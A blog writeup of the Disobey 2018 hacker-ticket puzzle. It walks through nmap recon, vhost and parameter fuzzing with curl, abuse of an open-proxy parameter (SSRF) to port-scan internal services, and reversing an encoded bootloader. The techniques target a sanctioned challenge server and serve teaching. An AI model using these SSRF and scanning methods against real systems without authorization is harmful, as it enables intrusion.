This is a writeup for the Disobey 2018 hacker ticket puzzle. There were 50 “hacker” tickets available and the puzzle was open for about a month. It was a bit tougher this time than it was in previous years.

Spoiler alert

WARNING: This obviously CONTAINS SPOILERS. Do not read further if you want to solve it yourself! And you should try (harder)!


It began with the URL http://puzzle.disobey.fi.

Quick recon

First thing I’m used to doing is recon with nmap

nmap -v -sC -sV -oA initial_nmap puzzle.disobey.fi

This quickly revealed two webservers. The other one only replied “Try harder”, a good tip indeed.
The other one had a standard nginx web page.
Screen Shot 2018-09-17 at 10.47.09
HTML source for the test page reveals there’s a resource lorem.html . So I downloaded that, but what to do with the seemingly standard “lorem ipsum” stuff?
At the same time, my standard approach to HackTheBox is to crawl for additional hidden resources left “accidentally” in the web server. So nikto + dirb + gobuster it is.
My normal HTB enumerator uses Kali linux standard lists and some additional ones from the SecLists.
https://gist.github.com/lokori/3ba0a98ab9cf9f1b17f83151295c666a
This crawling revealed .bash_history which lead to an SQL file, but that didn’t lead to  anything interesting.
So, back to lorem.html. With this kind of puzzle it’s important to remember that everything is not relevant to the solution, but the relevant hints and resources are provided in the puzzle. I need to remind myself of that when I get stuck.

lorem lorem lorem

Cut it into separate words.

cat pier.sh
#!/bin/bash
for word in $(<lorem.html)
do
echo “$word”
done
./pier.sh < lorem.html | sed s/[\.,]//g|sort|uniq > lorems.txt

and then

cat lorems.txt |xargs -I {} curl -O ‘http://puzzle.disobey.fi/{}’

Now we get

ls -laS
-rw-r–r– 1 root root 3650 Aug 2 09:08 vulputate
-rw-r–r– 1 root root 1421 Aug 2 09:07 lorems.txt
-rw-r–r– 1 root root 11 Aug 2 09:08 Interdum

Okay.. clearly one reply is very different!
It says: “Wrong vhost”
ok, so let’s curl again with another vhost?

curl –header ‘Host: julli.disobey.fi’ http://puzzle.disobey.fi/Interdum
Try harder – admin

So this seems kind of promising, but what is the proper virtual host?
Not one of these.

cat lorems.txt |xargs -I {} curl -o {} –header ‘Host: {}.disobey.fi’ ‘http://puzzle.disobey.fi/Interdum’

It took a while, but the answer was not very complicated after all.

curl –header ‘Host: admin’ http://puzzle.disobey.fi/Interdum
Greetings! Love you <3 – I need -love also

Okay, let’s make some “-love” then..

curl –header ‘Host: admin’ http://puzzle.disobey.fi/Interdum-love

Secrets

Now we find a nice text file.

cat secret.txt
Hi John!
Here is that secret email – encrypted with your favorite PIN-code!
SnVzdCBraWRkaW5nIC0gYmFzZTY0IGlzIGF3ZXNvbWUu

Base64 decode says “Just kidding – base64 is awesome.”
Heh. Hah. Hoh. We still have test.php there. It is a small file so it can’t be very complicated to exploit it and it’s the only lead we have now.
Perhaps there is a parameter that is exploitable, but what is the parameter name?  There is wfuzz, but let’s be old school.

cat /root/tools/SecLists/Discovery/DNS/namelist.txt |xargs -I {} curl –header ‘Host: admin’ ‘http://puzzle.disobey.fi/Interdum-love/test.php?{}=123’

Still no luck. At this point I was very frustrated and angry at myself.

Black hat Python

When I get frustrated in this way I usually write some Python to take full control of the issue. So, I wrote this one-time piece.
Screen Shot 2018-09-20 at 9.23.50.png
This tries sufficiently different values for each parameter name candidate. Given the proper word lists this finally found the parameter name, which was simply “url”.
How to exploit that?
Randomly trying some numbers.

curl -v –header ‘Host: admin’ ‘http://puzzle.disobey.fi/Interdum-love/test.php?url=1234561251’* Trying 185.86.149.26…

Resulted in “504 Gateway Time-out”. Hmm.

curl -v –header ‘Host: admin’ ‘http://puzzle.disobey.fi/Interdum-love/test.php?url=213070643/index.html’

Gave out ” HTTP/1.1 403 WAF”.
It’s a HTTP proxy! The numbers in the URL can be translated into IP addresses which enables us proxy GET requests. Let’s try the other web server in the puzzle machine through this (as the call comes from the localhost, it might behave differently):

curl –header ‘Host: admin’ ‘http://puzzle.disobey.fi/Interdum-love/test.php?url=0:8021%2f2’

And in fact, it does! There is a one character different in the reply “Try harder!1” vs. “Try harder!” but this doesn’t lead to anything interesting.

Proxy as a port scanner

This is one of the standard tricks – if there is an open proxy, it can be used to scan the internal network for ports and services not directly accessible from the outside. Let’s go!
Very crude scanner in Python.
Screen Shot 2018-09-20 at 9.28.35.png
We find SSH server and.. finally, something very interesting came up!

FOUND !! 0:40053 // 51
H4sIAI5uYVsAA+3STUgUURwA8Oe2OyyGHyF4qMtb6KAXm+eubq7rmq5bFuWaHxGWyrrO5ObuzjI7Yx+o+47mQTp16rRHE9HwEBjjhjVUsBHdqktQxtQgSpgHE+utRkGEdBEJ/j8Y3vzn//HewOuTJCUqhfoFGe0ZnuerXS6cW93VVdsrX7kTM4QnboKJ0+nkK6vdlTzBPHHyLjfC/N4d6Tc1qYRkdpRBV4zsVsfKRHGX/M7P4F/rf+KzbRihzY2x0vYUyZC35Bl5RdbJd7L8EA1PvJzITLybML7No9FxVsAv8+uzlgUbmrPMHMiWyHalZDZv64m5zH/IlgTVj9rVlPHe8ule3n7/FPhHnZMiyYi1HJJN28pGVHeszmDroXQN9XAeqqDoVibtoSZq17la6tQ5L60wLV36NJ+xYmtxuo6lVnXORyvS9VTnTuSy01svrLZ0AwsbqUfn/PS4zjVRXucCtFLnTlKyUEONFqT1poznSBtNGY/RwlFq3ETU56IN6jHqq6J+tYz6qmmj6qA+N21SD2v3U8ZdpLG6O0hzUOM20t6kjHG0saYtpYwEoiMWp+rUAxY3HbETpVwP2IkeKKzXA0V1P2/1umaj80XIP+VFir3s6dajsTzzy+KDFW1jbQ5lS7125aC3QDkyV5gtnjSXgzq75IUz9mzxDGYPW83XLC5g7/nZ4sXOW0sXtI6UYUc9hpWdwtycsmcULtdsfl1ElxzduLWh5bQfozZJVQQcbM8vQE2R5CCWhVA/FkORqNDvYN9aZen6DZwU5CFBxoqE1aSARUnGoqCEByLxK1hklUlcJiWUiBQPRcs9GPmleFwI5+JcRywiy7mG7ZF4KBLCidxMVtcciipsRAXbJsjGi1HpGi7zDwjhwaQaY33JWIhtUo5Z/tSZi83hs8HucwPnO/raYpc7E73RZKS3K9wTRyz9pwZ/Y9M+XFYAAAAAAAAAAAAAAAAAAAAAAAAAAPAXPwDTbo0GACgAAA==1

So what is this?

cat pokale.txt | base64 -d > pokale.bin
file pokale.bin
pokale.bin: gzip compressed data, last modified: Wed Aug 1 08:25:50 2018, from Unix

Ok, so a zip file. Our next step obviously.

Mystery binary

First standard thing is to run strings.

bootloader
000644
000765
000024
00000010171 13330267201 013047
ustar
00k4m1
staff
000000
000000
[!] PANIC
Route OS
Disk read failed!
Proxy server to use for fetching files (optional):
Connection to mirror failed via proxy:
Halting.
Overflow (Checksum mismatch)
GJXHcLO]MhQTbRm\Up_lsi_Zc^n
ACBD

So a bootloader, but two strings are interesting. “00k4m1” means the great k4m1 has signed this binary! In the end, “GJXHcLO]MhQTbRm\Up_lsi_Zc^n” is very likely a decryption key or some secret we have to dissect.
Let’s try a shortcut.
Screen Shot 2018-09-20 at 9.30.37.png
Sometimes we could be lucky, but not today. So let’s look at the binary, properly.
There is nothing wrong with radare2 but I used IDA free in the end. I didn’t actually run the bootloader code at all. I just analyzed it and figured out what it does without stepping and debugging. The initial guess was correct – we need to decrypt the weird string, but it just wasn’t simple XOR.
Screen Shot 2018-08-06 at 16.40.25.png
Replicating the “decryption” algorithm in Python we get something sensible out of it:
Screen Shot 2018-09-17 at 11.28.07.png
The binary also points towards the other web server we found with the nmap so clearly we need to do something there, but there is no clear URL that gives us the ticket.

Alternate solution to binary

This is from another ROT member, Jarkko Vesiluoma:

cat something.base64 |base64 -d > bootloader.gz
$ file ../bootloader2
../bootloader2: gzip compressed data, last modified: Wed Aug 1 08:25:50 2018, from Unix
$ file bootloader.raw
bootloader.raw: DOS/MBR boot sector
qemu-system-x86_64 -k fi -drive format=raw,file=bootloader.raw -s
other terminal: r2 -D gdb gdb://localhost:1234
In r2: vvv and then qq

Basically the memory of the running bootloader is accessed to get the decrypted value. It’s running inside a virtual machine so this is easy. In a way this is “cheating”, but this is a nice way to analyze an unknown binary, as long as potentially harmful actions are contained inside the virtual machine.

The final insult

Manual guessing is frustrating..

Try harder!root@kali:~/disobey/test# curl –header ‘Host: 123.0.0.5’ “http://puzzle.disobey.fi:8021?GIVE_GIVE_GIVE_ME_MY_TICKET”
Try harder!root@kali:~/disobey/test# curl –header ‘Host: 123.0.0.5’ “http://puzzle.disobey.fi:8021?ACBD=GIVE_GIVE_GIVE_ME_MY_TICKET”
Try harder!root@kali:~/disobey/test# curl –header ‘Host: 123.0.0.5’ “http://puzzle.disobey.fi:8021?GIVE_GIVE_GIVE_ME_MY_TICKET=ACBD”
Try harder!root@kali:~/disobey/test# curl –header ‘Host: 123.0.0.5’ “http://puzzle.disobey.fi:8021/GIVE_GIVE_GIVE_ME_MY_TICKET”

So Python it is again! I was getting really worked up at this point after all this effort. How many times do I need to “try harder” to get the ticket?
Screen Shot 2018-09-20 at 9.31.50.png

We still need to find the right parameter list, but there is a reasonable one from the SecLists at our disposal.

python final_insult.py /root/tools/SecLists/Discovery/Web_Content/burp-parameter-names.txt
using word list /root/tools/SecLists/Discovery/Web_Content/burp-parameter-names.txt
FOUND !!data
HACKER! https://holvi.com/shop/Disobey/product/c995bdab7374d27f1250f1071c4a9b07/

So finally! There is a ticket.
Screen Shot 2018-08-06 at 16.24.18.png
You could have also done it with something like this using wfuzz:

wfuzz -c -z file,Web-Content/raft-large-words.txt –filter “c=200 and h>11” -f disobey.1 -Z -H ‘Host: admin’ http://puzzle.disobey.fi:8021/?FUZZ=GIVE_GIVE_GIVE_ME_MY_TICKET

Closing words

I got really frustrated at some points during this process, but luckily I got some motivational push from other team ROT members (thank you Jarkko and Putsi). We solved this on our own, without really co-operating together, but it still helped to me to know that I’m wandering roughly to the right direction. Our solutions were different in the end as I like writing Python scripts when things get difficult. The other ROT guys are perhaps slightly more tool oriented.
I really liked the binary challenge part and overall I think the difficulty level was correct.  It wasn’t too easy to get the hacker ticket, but perfectly doable for a motivated hacker.